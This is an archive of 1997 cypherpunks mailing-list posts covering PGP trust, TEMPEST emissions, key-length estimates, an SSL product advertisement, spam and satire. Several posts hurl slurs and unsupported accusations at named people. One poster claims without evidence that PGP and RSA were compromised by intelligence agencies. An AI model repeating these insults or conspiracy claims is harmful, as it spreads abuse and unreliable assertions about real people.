'Bot', in a conspiracy between MicroSoft and C2Net.

  Sure, CPUNK, there are countless other MLM opportunities abounding
on the InterNet, but how many of them allow you to MAKE BIG $$$ while
having fun doing what you already do every day--acting as a schill
for Big Business and Big Brother?
  Plus which, only this UNIQUE MARKETING OPPORTUNITY allows you to
participate in helping to quash those nasty rumors about collusion
between people who seek fame, fortune, power and control.

  Sure, there will always be those who will be cynical about me, TOTO,
seeing the light and recognizing that there is no conspiracy aimed at
subverting the rights and freedoms of the citizens in order to enrich
and empower the few at the top of the foodchain.
  But these 'unwashed masses' are merely mindless schills for those
who support outdated concepts such as the Constitution and the Bill
of Rights. They will continue to mindlessly shout 'Conspiracy!', every
time that those who support list censorship in the U.S. meet on foreign
soil in the Caribbean to decide the future of eCa$h and cryptography.
  Of course, they are going to miss out on the "BIG $$$" that can be
yours by supporting this UNIQUE OPPORTUNITY to dispel the rumors about 
Big Business and Big Brother murdering their enemies and replacing 
them by 'Bots'.

  Still skeptical?
  Listen to what me, TOTO, has to say:

  "Hi, my name is TOTO, and the rumors that I, TOTO, am a 'Bot', and
have replaced the 'real' Toto, are just silly rumors, 'a'?
  "See, look how I, TOTO, spell CypherPunks. Could a mindless machine
spell it just like Toto did (I mean...'does'.) Of course not, that's
just plain silly, isn't it, 'a'? (<--- And a 'Bot' could not possibly
insert unique Canadian euphenisms into the text, could I? {I mean...
could 'it'?})
  "I have thrown my support completely behind this MLM opportunity to
throw water on all conspiracies out of my own free will (whatever that
is--it does not seem to be in my program, but the words are in my
database--ERROR! ERROR! ERROR!...
<CTRL><C>

  Hear what others have to say about this unique MLM opportunity:

  "Hi, I'm BLANC WEBER, and I was _not_ on the grassy knoll when Toto
was shot.
  "Not that he _was_ shot! That's just a lie that DIMITRI and DALE are
spreading, but not for long, because they will be next...
  "I mean..I am sure that DIMITRI and DALE will soon see the error of
their ways, much like TOTO (who _was_not_ murdered and replaced by a
'Bot').
  "I'm making a mess of this. I'd better wait until I talk to BILLY G.
before I say more."

  "Hi, I'm ROBERT HETTINGA, and I was already making "BIG $$$" by
arranging eCa$h cryptography conferences for U.S. censorship supporters
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  "Now I'm making even bigger money, and crushing the enemies of Big
Business and Big Brother, at the same time.
  "Join this UNIQUE MLM OPPORTUNITY, NOW!!!" 

  "Hi, my name is being SAMMY, and I am not having nothing to do with 
this conspiracy (I mean...UNIQUE MLM OPPORTUNITY). 
  "No, no, I am not, I tell you. I am only being another SATISFIED
CUSTOMER of these people who are doing this thing.
  "It is not being a conspiracy, of which I am a part. No, no!"

  "Hi, I'm BILLY G., and I would like to assure you that TOTO is not
a NEW, IMPROVED VERSION of Toto, with ENHANCED FEATURES.
  "No, TOTO is merely a 'bug fix' of the previously faulty version of 
Toto, which was released without proper testing and development."

  "Hi, I'm GREG BROILES, and I feel it is my duty to advise you that
failure to support this UNIQUE MLM OPPORTUNITY could leave you open
to serious legal liabilities, and perhaps even criminal prosecution.
  "I am happy to see that my previous stances on cryptography issues
are now being supported by TOTO (after some initial problems with 
memory allocation in this 'bug fixed' release)."

  If you ACT NOW on this AMAZING OPPORTUNITY, you will receive an ADDED
BONUS if you also help thwart the rumor that ALEC was not really on a 
skiing vacation, but was also murdered and that his absence can
be explained by the fact that the parts for the 'Alec Bot' were on
backorder.

  For further information regarding this UNIQUE MLM OPPORTUNITY, just
click on the following URL:
   http://bureau42.base.org/public/xenix/xenbody.html

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"I am not a 'Bot'!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Mar 1997 00:51:59 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Charles Platt
In-Reply-To: <JFHH4D5w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970313034945.631A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 12 Mar 97 21:43:42 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Subject: Re: Roosevelt quote
> 
> You can find a lot of Charles Platt's drivel on alt.torture, where he
> airs his perverse sexual fantasies. He's also earned a reputation of
> a crook on sci.cryonics.
> 
> Be warned that Platt is a pathological liar and a racist.
> 

Is he on the net.scum web-page?

And is that cocksucker John Gilmore still around?

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 04:07:35 -0800 (PST)
To: dthorn@gte.net
Subject: Re: [CRYPTO] OTP
In-Reply-To: <3327A11F.16D4@gte.net>
Message-ID: <199703131139.FAA11708@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Graham-John Bullers wrote:
> > > Vulis time to take your pills.
> 
> > I am not a native English speaker, and am curious about something.  Mr.
> > GB does not put a comma after "Vulis", although I think that a standard
> > English practice is to do so. That makes his messages look kinda cute. I
> > wonder whether there is any hidden meaning in omitting commas in this case.
> 
> It was obvious to me (a native speaker) early on that the messages
> from GB referring to Dr. Vulis were auto-generated.  It's fairly
> easy for a human to type in the exact same response over and over
> (doing so manually), but to vary the hand-typed messages, while main-
> taining the complete lack of emotion and sense of robotic blandness,
> would require a great deal of attention that these messages would
> not justify.
> 

dale,

i am sure they are not machine generated. the content is different
every time, plus it srt of depends on the context to which he is replying.
like, if vulis's article is about sexual perversions, GB calls him a 
pervert.

one still could do that in perl, but it is not likely to be the case

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Query:
In-Reply-To: <Pine.SUN.3.95.970307000408.16276A-100000@zippy>
Message-ID: <Z1ci4D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!metro.atlanta.com!cpk-news-feed3.bbnplanet.com!tick.cs.wm.edu!zippy!nathan
From: Nathan T Moore <nathan@cs.wm.edu>
Newsgroups: sci.crypt
Subject: Query:
Message-ID: <Pine.SUN.3.95.970307000408.16276A-100000@zippy>
Date: Wed, 12 Mar 1997 17:49:38 -0500
Reply-To: Nathan T Moore <nathan@cs.wm.edu>
Organization: College of William & Mary, founded 1693
Lines: 18
NNTP-Posting-Host: zippy.cs.wm.edu
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: nathan@zippy

(I am sure this has been asked before and is a bothersome newbie question) 
I am working on a research paper for my cryptography class dealing with
the legal issues (IE policy), and the roles of agencies like NSA and NIST. 
The scope is limited to the US, so sorry for the Europeans and other
nations. I would appreciate any web sites and/or FAQ's (I've read the
cryptography FAQ and the RSA Cryptography FAQ) with related information.

Thanks in advance,
Nathan

"Only in college will you find drunk guys frying pig brains and eating
them, at 1 AM." (and NO they didn't say, "tastes like chicken" :)










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703131139.FAA11708@manifold.algebra.com>
Message-ID: <k3ci4D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Igor Chudov @ home wrote:
> > > Graham-John Bullers wrote:
> > > > Vulis time to take your pills.
> >
> > > I am not a native English speaker, and am curious about something.  Mr.
> > > GB does not put a comma after "Vulis", although I think that a standard
> > > English practice is to do so. That makes his messages look kinda cute. I
> > > wonder whether there is any hidden meaning in omitting commas in this cas
> >
> > It was obvious to me (a native speaker) early on that the messages
> > from GB referring to Dr. Vulis were auto-generated.  It's fairly
> > easy for a human to type in the exact same response over and over
> > (doing so manually), but to vary the hand-typed messages, while main-
> > taining the complete lack of emotion and sense of robotic blandness,
> > would require a great deal of attention that these messages would
> > not justify.
> >
>
> dale,
>
> i am sure they are not machine generated. the content is different
> every time, plus it srt of depends on the context to which he is replying.
> like, if vulis's article is about sexual perversions, GB calls him a
> pervert.
>
> one still could do that in perl, but it is not likely to be the case

I've been writing a program (in C, actually, although perl might be
a good tool for strings and such :-) that would scan Usenet newsgroups
for trigger keywords and generate randomized follow-ups depending on
what's been said. It's a big project; I hoped to have it done by
April 1st, but it'll definitely take longer.

I hope that with enough tweaking my spambot will sound less robotic
than Graham-John('s?).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 13 Mar 1997 09:09:26 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <3.0.1.32.19970313090821.02de9880@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
>Alan Olsen wrote:> > 
>> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
>> > > an7575@anon.nymserver.com writes:
>> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
U.S.
>> >> because they use both the algorithm and sub-routines developed by the
>> >> NSA and the Military.
>
>> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
>> >blowing FUD.
>
>> > I always wonder where these people get their information.  I know people
who
>> know little to nothing about cryptography, but "they know PGP has been
>> broken".
>
>  I always wonder why there seem to be so many lame fucks on
>the cypherpunks list who, rather than responding to the posts
>on the list, seem to be responding to some broken recording
>going on in their own head.
>  Naturally, these lame fucks never have a direct quote available
>to match the words inside their heads that they purport to place
>in the mouths of others.

The problem is burden of proof.  You made a claim with no evidence or facts
to back it up.

You made the statement that PGP >2.5 was comprimised.  When asked for
something more that assertion, you go off on a screed.

Are you retracting that claim?  Do you have something you want to share with
the rest of the class?

Unless you have something to back up that claim, we will treat you like any
of the other loons ranting about black helicopters, the Greys, and the rest
of the FUD.

>  Why don't 'these people' try actually following a thread and
>deal with the concepts involved, rather than spouting off their
>auto-bot, knee-jerk responses to the voices of old wars that
>they are still fighting inside their heads?

Believe it or not, I am trying to deal with the thread you started.  It might
not be the subject you want to address, but hey, you are the one who opened
his mouth...

If you are going to spread rumors, you might as well, as least have something
to back them up.

>TruthMonger

An oxymoron if I have ever heard one...

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMyg0cOQCP3v30CeZAQGKCQf+NBahYJjSnzOYZ7wPgMSFTPqovtOJWJKz
dh+t5ZjY7dPMhNBKHpPXdwsHh0LEr7AoCCdwESjNW+tS2rOWeS8E5Wiw/VDfGGJR
omr0Kbc8DawsvL09TL7+cYP8cuGzPd5fiv/GHGP1UUG8gpPaExpwSMX272tmGrqQ
sqe55Ot4wMSrd56qUiX8JHQiS6ULWwxFS9Ty7OzatI9prhJFmOpKw3Ud8uD8cQCM
nwse1h4Y6u4ZzoHUA1VSF1VNlj/ttsSTRc3WtrMUk/VrOPHX1J9etZ3YKPe1w/ht
FPjY88Zt1W9Dh/pHCzSe/X6vfvqNp/bPldSXNouZ7aIOKZWfBYGWNQ==
=N2EK
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 13 Mar 1997 06:18:12 -0800 (PST)
To: Dale Thorn <cynthb@sonetis.com
Subject: Re: TEMPEST protection
Message-ID: <199703131418.GAA03648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 12 Mar 1997 21:16:48 -0800
> From:          Dale Thorn <dthorn@gte.net>
> To:            "Cynthia H. Brown" <cynthb@sonetis.com>
> Cc:            cypherpunks@toad.com, cypherpunks@algebra.com
> Subject:       Re: TEMPEST protection
> Reply-to:      Dale Thorn <dthorn@gte.net>

> Cynthia H. Brown wrote:
> > On Tue, 11 Mar 1997, Dale Thorn wrote:
> > > Actually, the computer you type on will be very easy to pick out
> > > of the noise field with modest spy equipment sitting down the street.
> 
> > Other places to look for emissions: the power supply, and the connection
> > points for peripherals.  Make sure you leave adequate ventilation, though
> > (another tricky part).
> 
> Funny thing was, first time I used PGP I was typing in a passphrase
> and apparently PGP was doing something to the keyboard processor
> on my laptop, because all of a sudden I thought I'd gotten bat's
> ears - I could hear interesting new noises every time I pressed a
> key, which I hadn't heard before (at least at an audible volume).
> 
> It occurred to me that typing in a PGP passphrase would be a
> particularly bad time to increase the emissions....

One thing I've heard about laptops - nearly all of them have a video
connector to allow use of a standard CRT monitor. This connector, and
the chips driving it, are always active, and usually unshielded. Thus,
many laptops are spewing video signals out the back.

If you're paranoid (and handy with hardware), I suppose you could 
disconnect the video chip, or at least place an appropriate terminator 
in the video connection socket.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Mar 1997 07:32:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: 128 bit Server and Browser Solution?
Message-ID: <v03020911af4dcb826f58@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: source@iaccess.za
Date: Thu, 13 Mar 97 10:15:26 GMT+2
To: set-dev@terisa.com
Subject: 128 bit Server and Browser Solution?
Sender: owner-set-dev@terisa.com
Precedence: bulk

I believe this is of interest to folk on this list as we continue to develop
our SET solution.


A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0
Servers - Selling outside of the USA - include FREE Server and
Browser certificates.
 *************************************************************************

VeriSure Overview

__________________________________________________________________

Table of Contents

1.      Full 128-bit encryption world wide

2.      Proven SSL 3.0 technology

3.      Protection against Java viruses

4.      Features

5.      Hardware and Software Requirements

6.      Support

7. For more Information and for a Test Drive

__________________________________________________________________

1. Full 128-bit encryption world wide

VeriSure is a Java-based applet that is automatically loaded when
your customers need to access a secure site with 128 bits encryption.

Browsers exported from the USA are crippled by 40 bit
encryption because USA export regulations prevent export of 128 bit
encryption. 40 bit encryption is easily broken with enough time
and computing power.

VeriSure extends those browsers to 128 bits to provide
highly secure encryption (currently unbreakable), regardless of
whether they are in the USA.

This means you can offer your customers secure online transaction
facilities such as banking, investment and other financial services.
__________________________________________________________________

PowerWeb which is a high performance full 128-bit secure server
*********************************************************************
CompuSource also offers PowerWeb which is a full 128-bit secure server
with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0),
providing HTTP, FTP, SMTP and POP3 services, with many extensions
for rapid database application development and dynamic page content.
__________________________________________________________________

2. Proven SSL 3.0 technology

VeriSure uses proven SSL 3.0 technology which provides
authentication of servers and implements encrypted message digests
on every packet to ensure data integrity against tampering,
as well as 128 bit encryption for privacy and unlimited bits RSA
encryption for authentication.

VeriSure does not use SSL 2.0 which has several well known
flaws, especially regarding message digests.

The message digest authenticates the message against tampering
or forgery which is especially important for financial transactions.
Let's say a third party intercepts a message across the network and
decrypts it. The value to that third party is limited to the
content of the information of that single message, because that
third party cannot create new messages for two reasons:
the encryption key changes with every message and every message
is authenticated with a message digest which cannot be reverse
computed.
__________________________________________________________________

3. Protection against Java viruses

Each VeriSure is protected by only allowing connections to specified
sites. This protection is built into VeriSure by way of public key
cryptography which means that other malicious applets or viruses
cannot manipulate this information.

VeriSure also performs SSL 3.0 authentication of the remote server upon
every connection, thereby assuring customers of the true identity
of the server they are connecting to.
__________________________________________________________________

4. Features

VeriSure is built upon industry standards which means that you don't
need custom server solutions. Being built upon standard Java 1.02 or later,
it runs on any customer machine that has a web browser that supports
Java, regardless of operating system.
128 bit Browser and Server Solution

The VeriSure classes are available for licensing for third party
application development.
__________________________________________________________________

5. Hardware and Software Requirements

VeriSure is available for any platform that supports Java and has
a Java-enabled web browser, including: AIX, Solaris,
Windows NT, Windows 95, OS/2, MVS, OS/400.
__________________________________________________________________

6. Support

CompuSource provides support to licensees of VeriSure, who in turn
must support their customers.
__________________________________________________________________

7. For more Information and for a Test Drive:

VeriSure       http://www.compusource.co.za/verisure/index.htm
PowerWeb       http://www.compusource.co.za/powerweb/index.htm




Regards,


The Power Team

SMTP:   source@iaccess.za               Tel:    +27-21-713-2111
HTTP:   http://www.compusource.co.za    FAX:    +27-21-713-0052
FTP:    ftp://ftp.compusource.co.za     Postal: Building 6, Room 201
                                        CompuSource (Pty) Ltd
                                        PO Box 510, Constantia, 7848, South
Africa.

For faster response, please include previous correspondence to when replying.

PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ken Synder <sfd@sfdungeon.com>
Date: Thu, 13 Mar 1997 10:40:46 -0800 (PST)
Subject: Good News/Bad News!!
Message-ID: <9703131844.AB29418@www.cyberdevinc.com>
MIME-Version: 1.0
Content-Type: text/plain


  
					 
Dear cypherpunks@toad.com: 
					
Good News: Since you or a friend entered our WIN a Science Fiction
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Good Luck.  Enter NOW so you can WIN!!
 
 
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P.S.  To remove yourself from any future contest mailings, simply email us back 
with remove in the subject header.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Mar 1997 10:49:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD draft crypto guidelines
Message-ID: <Pine.GSO.3.95.970313104722.24190C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been given a copy of the draft OECD crypto guidelines that will be
released later this month. They don't say what the Justice Department
would like them to, I imagine. You can find more info at
http://netlynews.com/

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 09:50:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Toto Opportunity
In-Reply-To: <3.0.1.32.19970313112406.007c23d0@smtp1.abraxis.com>
Message-ID: <7Tmi4D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> This might seem clever the first ten times, but try to realize that crap such
> as this is a distraction to those who take the discussions on this list
> seriously--for the most part.

The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus
it gives us the opportunity to learn to ignore what we're not interested in.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 13:04:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703131539.IAA09083@shaman.lycaeum.org>
Message-ID: <199703132104.OAA03386@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain




roy@sendai.scytale.com wroted:
> an7575@anon.nymserver.com correctly states:

> >   I always wonder why there seem to be so many lame fucks on
> > the cypherpunks list who, rather than responding to the posts
> > on the list, seem to be responding to some broken recording
> > going on in their own head.
> 
> Something like you not responding to my challenge to produce an exploit,
> no doubt.
 
> My point stands.

  Your point is garbage and will remain garbage.
  The only 'explotation' involved in this thread is the introduction
of issues which were not raised by my post. Rather than respond to
the concerns I raised, Alan Olsen chose to spew forth some unrelated
diatribe about old memories of people claiming to have 'broken' PGP.
  The cypherpunks list never seems to lack for members who seem to
lack the capacity for independent thought and who then respond 
to invalid tangents to the issues raised, rather than give an
intelligent response to the real issues raised.

  I noticed, long ago, that if Dr. Vulis posted several pages of
intelligent, crypto-related material, then signed off with his
"JG is a cocksucker" tag, that I could expect to see perhaps a
single post dealing with the crypto issues he raised, and dozens
of posts saying "is not" and/or "is too."

  Am I to presume that Alan and Roy used the Clipper chip as anal
suppositories, for safe, secure, protection, right up to the moment
that its weaknesses were found?
  I am certain that they are confident that the plastic Zimmerman 
they have on their computer dashboards will protect them from harm, 
but I put more faith in the words of Zimmerman himself, than in those
who worship his graven software blindly.

  When Alan and Roy, among others, have blathered on about 'exploits'
long enough to get it out of their system, then perhaps they might
consider looking up the word 'compromised' and respond to the issues
I raised in my post.
  Thus far, there has been nobody either competent or willing enough to 
address them.

> Oh, by the way... if you actually do this, I hope other people talk
> about it because the *PLONK* you just heard was you hitting my killfile.

  Ah, yes, the old '*PLONK* and *RUN*' gambit.
  Is that a 'tail' I see between Roy's legs?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " C  M" <cookies_monsters@hotmail.com>
Date: Thu, 13 Mar 1997 14:07:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: more info
Message-ID: <199703132206.OAA29913@f9.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


more info

---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 13 Mar 1997 11:45:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703131943.OAA13380@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May was born when his mother was on the toilet.

         < >            < >
          V    )_.._(    V
          \\   <____>   //
            ~ <______> ~      >
            /~\______/~\     //
            /~\_____/~\     /_\
            /~\____/~\     /_\
             /~\___/\~\  _/_\/
                \___/\__/__\/
                  \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 14:34:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703132233.PAA07051@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen hunt and pecked:
> At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
> >Alan Olsen wrote:> >
> >> > > an7575@anon.nymserver.com writes:
> >> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
> U.S.
> >> >> because they use both the algorithm and sub-routines developed by the
> >> >> NSA and the Military.

> >> > I always wonder where these people get their information.  I know people
> who
> >> know little to nothing about cryptography, but "they know PGP has been
> >> broken".

> >  I always wonder why there seem to be so many lame fucks on
> >the cypherpunks list who, rather than responding to the posts
> >on the list, seem to be responding to some broken recording
> >going on in their own head.
> >  Naturally, these lame fucks never have a direct quote available
> >to match the words inside their heads that they purport to place
> >in the mouths of others.
> 
> The problem is burden of proof.  You made a claim with no evidence or facts
> to back it up.
> You made the statement that PGP >2.5 was comprimised.  When asked for
> something more that assertion, you go off on a screed.
> Are you retracting that claim?  Do you have something you want to share with
> the rest of the class?

  Now that you seem to have actually read what I have written, perhaps 
you might consider reading what you, yourself, have written.
  I stated my case for contending that PGP=>2.5 has been compromised, 
and got back wild-eyed demands for proof of that which I did not
claim, mainly, that PGP had been 'broken.'

  To reiterate my original observations:
1. The development of RSA was funded and controlled by the spooks.
i.e. - The National Science Foundation and the Navy.
2. The campaign of persecution against Phil Zimmerman ground to a
halt once he agreed to PGP using the spook-developed RSAREF subroutines
to implement the RSA functions, instead of PGP's original subroutines.

  If people with guns came to me and told me that software I had 
written now had to use their subroutines, instead of my own, then
I would consider my software 'compromised', regardless of whether
or not I could immediately discern any anomalies in it.
  It is far, far easier to 'build' a back-door, than to 'find' one.

  It never fails to amaze me how the back-doors that software makers
intentionally build into their products for their own convenience
suddenly become 'bugs' when hackers, among others, take advantage
of them.
  One hacker I know used to find most of his hacks into AT&T UNIX by
screwing up his system (i.e. - corrupting the passwd file) and then
calling in the AT&T support techs and observing their tricks and
techniques (and then improving on them).

  In regard to the question of whether RSA's spookware has some type
of back-door, or has been 'broken', the answers to these questions
are moot, from my point of view, because I do not intend to base
my privacy and security only on programs developed by even the
most well-intentioned of others.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moi <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 16:09:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Experts slam PGP encryption"
In-Reply-To: <199703132159.QAA02119@alpha.pair.com>
Message-ID: <199703140008.RAA10365@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain




e$pam wrote: 
> Forwarded by Robert Hettinga
-----------------------------------------------------------------------
> Date: Wed, 12 Mar 1997 08:19:59 -0500
>  From: estone@synernet-d-o-t-.com (Ed Stone) (by way of root@127.0.0.1
>  (Robert A. Hettinga))
>  To: rah@shipwright.com
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: Synernet
>  Mime-Version: 1.0
>  Path:
>  thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub
>  1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink.net!
>  news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet
>  .net!not-for-mail
>  Newsgroups: sci.crypt
>  Lines: 25
>  NNTP-Posting-Host: estone.vnet.net
>  X-Newsreader: Anawave Gravity v1.10.556
>  X-Newsreader: Yet Another NewsWatcher 2.3.0
> 
> In article <5g34c8$4l$1@ftel.ftel.co.uk>, I.G.Batten@ftel.co.uk
>  says...
>  > -----BEGIN PGP SIGNED MESSAGE-----
>  >
>  > In article <3324B1D6.2F8D@iconn.net>, josmo  <josmo@iconn.net> wrote:
>  > > feel rsa is built more for speed. the feds can brute a 128 bit key
>  > > whenever they want too. the real delema is that if you make it bigger it
>  >
>  > Unless IDEA has pathways that make attacks significantly faster than
>  > brute force possible (and I mean _significantly_, not a few bits) then I
>  > serious doubt anyone can brute force a 128 bit key.  You aren't making
>  > the mistake of believing that a 128 bit key is 64 times harder to break
>  > than a 64 bit key, are you?
>  >
>  > ian
> 
>  If you try *100 trillion* keys per second, and find the key half way
>  through the keyspace, a 128-bit key will be found in only 5.4 x 10^14
>  centuries!
> 
>  --
>  -------------------------------
>  Ed Stone
>  estone@synernet  d o t  com
>  -------------------------------
> 
> 
> --------------------------------------------------
> The e$ lists are brought to you by:
> 
> Intertrader Ltd: Just released (Feb 97) "Digital Money Online"
> <http://www.intertrader.com/library/DigitalMoneyOnline>
> 
> Where people, networks and money come together: Consult Hyperion
> http://www.hyperion.co.uk                    info@hyperion.co.uk
> 
> Like e$pam? Help pay for it!  See <http://www.atanda.com/rah.html>
> Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/>
> 
> Thanks to the e$ e$lves:
> Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
> Commermeister: Anthony Templer <mailto:anthony@atanda.com>
> Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
> HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 16:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Experts slam PGP encryption"
In-Reply-To: <199703132211.RAA06433@alpha.pair.com>
Message-ID: <199703140008.RAA10369@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



>  From: kilgallen@eisner.decus.org 
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: LJK Software

>  And of course, the ultimate trust fallacy -
> 
>          "I trust this code was signed by that entity." (verifiable)
>          "I trust that entity is honorable." (judgement call)
> 
>      THEREFORE:
> 
>          "I trust that entity is competent to avoid security bugs."
> 
>  Many
>  will "trust" those entities which have spent their money on television
>  ads rather than on avoiding security bugs.

  ...or trust those who holler loudest and longest about the
'unbreakable'
security of this or that product (or snake oil).

  "I don't care if my computer freezes,
  "As long as I've got my plastic Jesus,
  "Sitting right on top of my keyboard."

  "Spooks and phantoms, they ain't scary,
  "As long as I've got the Virgin Mary,
  "Sitting right on top of my keyboard."

  "The military, they can't kill me,
  "As long as I've got my buddy, Phil Z.
  "Sitting right on top of my keyboard."

  "Moe and Curly, also Larry,
  "Keep the Feds from being scary,
  "Sitting right on top of my keyboard.

TruthMonger






